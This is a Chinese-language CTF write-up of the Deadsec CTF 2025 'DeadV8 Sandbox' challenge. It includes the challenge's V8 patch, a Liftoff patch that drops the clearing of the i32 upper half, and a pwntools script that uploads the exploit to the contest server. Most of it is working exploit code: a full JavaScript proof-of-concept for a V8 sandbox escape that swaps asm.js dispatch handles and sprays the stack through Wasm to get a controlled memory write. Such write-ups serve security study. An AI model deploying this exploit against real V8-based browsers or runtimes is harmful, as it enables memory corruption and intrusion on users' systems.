Deadsec CTF2025-DeadV8 Sandbox WP

Deadsec CTF2025-DeadV8 Sandbox

前言

周末做了一个v8 pwn的题目,patch的wasm部分值得调一调,然后这道题目输出flag的逻辑就比较诡异了:(,个人觉得至少得执行一个类似于/bin/catflag的逻辑,也就是可以控制执行流才比较合理

做题思路

下面是比赛时候写的思路

下面的diff意思就是说检测到sandbox vioation之后会输出flag,那其实就不需要拿shell了。额,挺草率的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
diff --git a/src/sandbox/testing.cc b/src/sandbox/testing.cc
index 2938e0fc987..cba900825ec 100644
--- a/src/sandbox/testing.cc
+++ b/src/sandbox/testing.cc
@@ -19,6 +19,10 @@
#include <signal.h>
#include <sys/mman.h>
#include <unistd.h>
+#include <iostream>
+#include <fstream>
+#include <string>
+
#endif // V8_OS_LINUX

#ifdef V8_USE_ADDRESS_SANITIZER
@@ -701,6 +705,16 @@ void CrashFilter(int signal, siginfo_t* info, void* void_context) {
// re-executed and will again trigger the access violation, but now the
// signal will be handled by the original signal handler.
UninstallCrashFilter();
+
+ std::ifstream file("/flag");
+
+ if( file.is_open() ){
+ std::string line;
+ while(std::getline(file, line)){
+ std::cout << line << std::endl;
+ }
+ file.close();
+ }

PrintToStderr("\n## V8 sandbox violation detected!\n\n");
}

版本是这个587ec332fb4281180bd4b555851b6cbfd690d58c,看下commit时间,那其实很多洞都可以打,而且只需要验证可以越界沙箱的内存

所以用这个commit:c82024befbfe8458e0482f2f24c9f69361b56e75,https://chromium.googlesource.com/v8/v8/+/c82024befbfe8458e0482f2f24c9f69361b56e75

虽然issue tracker还没有公布细节和exp,不过有了poc写exp也只是时间问题

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
// Copyright 2025 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --sandbox-testing
if (!Sandbox) throw new Error("not in sandbox testing mode");
function optimize(func) {
for (let i = 0; i < 10000; i++) {
//Prevent the callsite from being optimized, otherwise inlining / OSR will mess things up
new Function("func", "args", "for(let i = 0; i < 10; i++) func(...args);")(func, args);
}
}
//Create a function with a high formal parameter count
//We'll end up tail calling it with an incorrect dispatch handle, which will result in too many arguments being popped from the stack
let args = new Array(16);
let args_def = "";
for (let i = 0; i < args.length; i++) {
if (args_def) args_def += ",";
args_def += `a${i}`;
}
eval(`function bigfunc(${args_def}) { return [${args_def}]; }`);
optimize(bigfunc);
//Prepare the asm.js function whose instantiation we'll hijack
//The __single_function__ property getter will be invoked from the InstantiateAsmJs runtime function / builtin, which will allow us to swap the dispatch handle
function asmjs() {
"use asm";
function f() { }
return { f: f };
}
let done = false;
let warmup = true;
Object.defineProperty(WebAssembly.Instance.prototype, "__single_function__", {
configurable: true,
get: () => {
if (warmup || done) return;
console.log("prop getter");
//Replace the dispatch handle of the asm.js function with the one of bigfunc
//This means that the subsequent tail call will use bigfunc's optimized code, while at the same time using the previously loaded dispatch handle of the asm.js function for the number of arguments to pass
//The resulting mismatch will result in too many arguments being popped at the end of bigfunc
let heap_view = new DataView(new Sandbox.MemoryView(0, 0x100000000));
let dispatch_handle = heap_view.getUint32(Sandbox.getAddressOf(bigfunc) + 0xc, true);
heap_view.setUint32(Sandbox.getAddressOf(asmjs) + 0xc, dispatch_handle, true);
done = true;
return 1337; // - must be an SMI to trigger the tail call
},
});
//Prepare a simple Wasm module which will spray a given 64 bit value on the stack
//We'll use this to overwrite pwn's stack frame
/*
(module
(func $spray_cb (import "js" "spray_cb") (param i64) (param i64) <repeat 16 times in total ...>)
(func (export "spray") (param $p i64)
(local.get $p) (local.get $p) <repeat 16 times in total ...>
call $spray_cb
)
)
*/
let spray_mod = new WebAssembly.Module(new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 24, 2, 96, 16, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 0, 96, 1, 126, 0, 2, 15, 1, 2, 106, 115, 8, 115, 112, 114, 97, 121, 95, 99, 98, 0, 0, 3, 2, 1, 1, 7, 9, 1, 5, 115, 112, 114, 97, 121, 0, 1, 10, 38, 1, 36, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 16, 0, 11]));
let { spray } = new WebAssembly.Instance(spray_mod, { js: { spray_cb: () => { } } }).exports;
function pwn() {
//Trigger the vulnerability; the result of our above shenanigans is that rsp is actually above rbp once this call returns
asmjs();
//Spray the stack to overwrite our own stack frame; currently this triggers a write to a controlled address, but hijacking rip / etc. is also trivially doable
spray(0x133713371337n);
}
// - required to actually crash with a clean controlled write; otherwise we either abort or write to a non-canonical address because we corrupt the argument count
optimize(pwn);
//Trigger the exploit
console.log("GO");
warmup = false;
pwn();
console.log("huh???");

uoload脚本,base64下exp,然后传过去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python3
from pwn import *
import base64
import os
context.log_level = "debug"
# 配置
HOST = "nc.deadsec.quest"
PORT = 32141

def main():
# 读取 exp.js 文件
with open("exp.js", "rb") as f:
js_content = f.read()

# 计算文件大小
file_size = len(js_content)
print(f"[+] File size: {file_size} bytes")

# 转换为 base64
b64_content = base64.b64encode(js_content).decode()
print(f"[+] Base64 length: {len(b64_content)} characters")

# 连接到远程服务器
print(f"[+] Connecting to {HOST}:{PORT}")
io = remote(HOST, PORT)

try:
# 等待提示并输入文件大小
io.recvuntil(b"Enter maximum size of decoded JS file (bytes): ")
io.sendline(str(file_size + 100).encode()) # 稍微大一点

# 等待 base64 输入提示
io.recvuntil(b"Paste base64-encoded JavaScript (end input with '<EOF>')\n")
io.recvuntil(b"bytes]\n\n")

# 发送 base64 内容
print("[+] Sending base64 content...")
io.sendline(b64_content.encode())

# 发送结束标记
io.sendline(b"<EOF>")

# 接收输出
print("[+] Waiting for response...")
response = io.recvall(timeout=30)

# 打印结果
print("\n[+] Response:")
print(response.decode('utf-8', errors='ignore'))

except Exception as e:
print(f"[!] Error: {e}")
finally:
io.close()

if __name__ == "__main__":
main()

最后的效果

漏洞分析(后补。。。

这里原本的逻辑,当wasm函数返回值类型为KI32时,会清空高位寄存器,这样可以防止一些类型混淆和沙箱内存的越界

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
diff --git a/src/wasm/baseline/liftoff-assembler.cc b/src/wasm/baseline/liftoff-assembler.cc
index 4387e749074..6f517bf71d4 100644
--- a/src/wasm/baseline/liftoff-assembler.cc
+++ b/src/wasm/baseline/liftoff-assembler.cc
@@ -884,13 +884,13 @@ void LiftoffAssembler::FinishCall(const ValueKindSig* sig,
DCHECK(!loc.IsAnyRegister());
reg_pair[pair_idx] = LiftoffRegister::from_external_code(
rc, lowered_kind, loc.AsRegister());
-#if V8_TARGET_ARCH_64_BIT
+//#if V8_TARGET_ARCH_64_BIT
// See explanation in `LiftoffCompiler::ParameterProcessor`.
- if (return_kind == kI32) {
- DCHECK(!needs_gp_pair);
- clear_i32_upper_half(reg_pair[0].gp());
- }
-#endif
+// if (return_kind == kI32) {
+// DCHECK(!needs_gp_pair);
+// clear_i32_upper_half(reg_pair[0].gp());
+// }
+//#endif
} else {
DCHECK(loc.IsCallerFrameSlot());
reg_pair[pair_idx] = GetUnusedRegister(rc, pinned);

解释在这里

1
2
3
4
5
6
7
8
9
10
// The sandbox's function signature checks don't care to distinguish
// i32 and i64 primitives. That's usually fine, but in a few cases
// i32 parameters with non-zero upper halves can violate security-
// relevant invariants, so we explicitly clear them here.
// 'clear_i32_upper_half' is empty on LoongArch64, MIPS64 and riscv64,
// because they will explicitly zero-extend their lower halves before
// using them for memory accesses anyway.
// In addition, the generic js-to-wasm wrapper does a sign-extension
// of i32 parameters, so clearing the upper half is required for
// correctness in this case.

Deadsec CTF2025-DeadV8 Sandbox WP
http://example.com/2025/07/28/Deadsec-CTF2025-DeadV8-Sandbox/
作者
flyyy
发布于
2025年7月28日
许可协议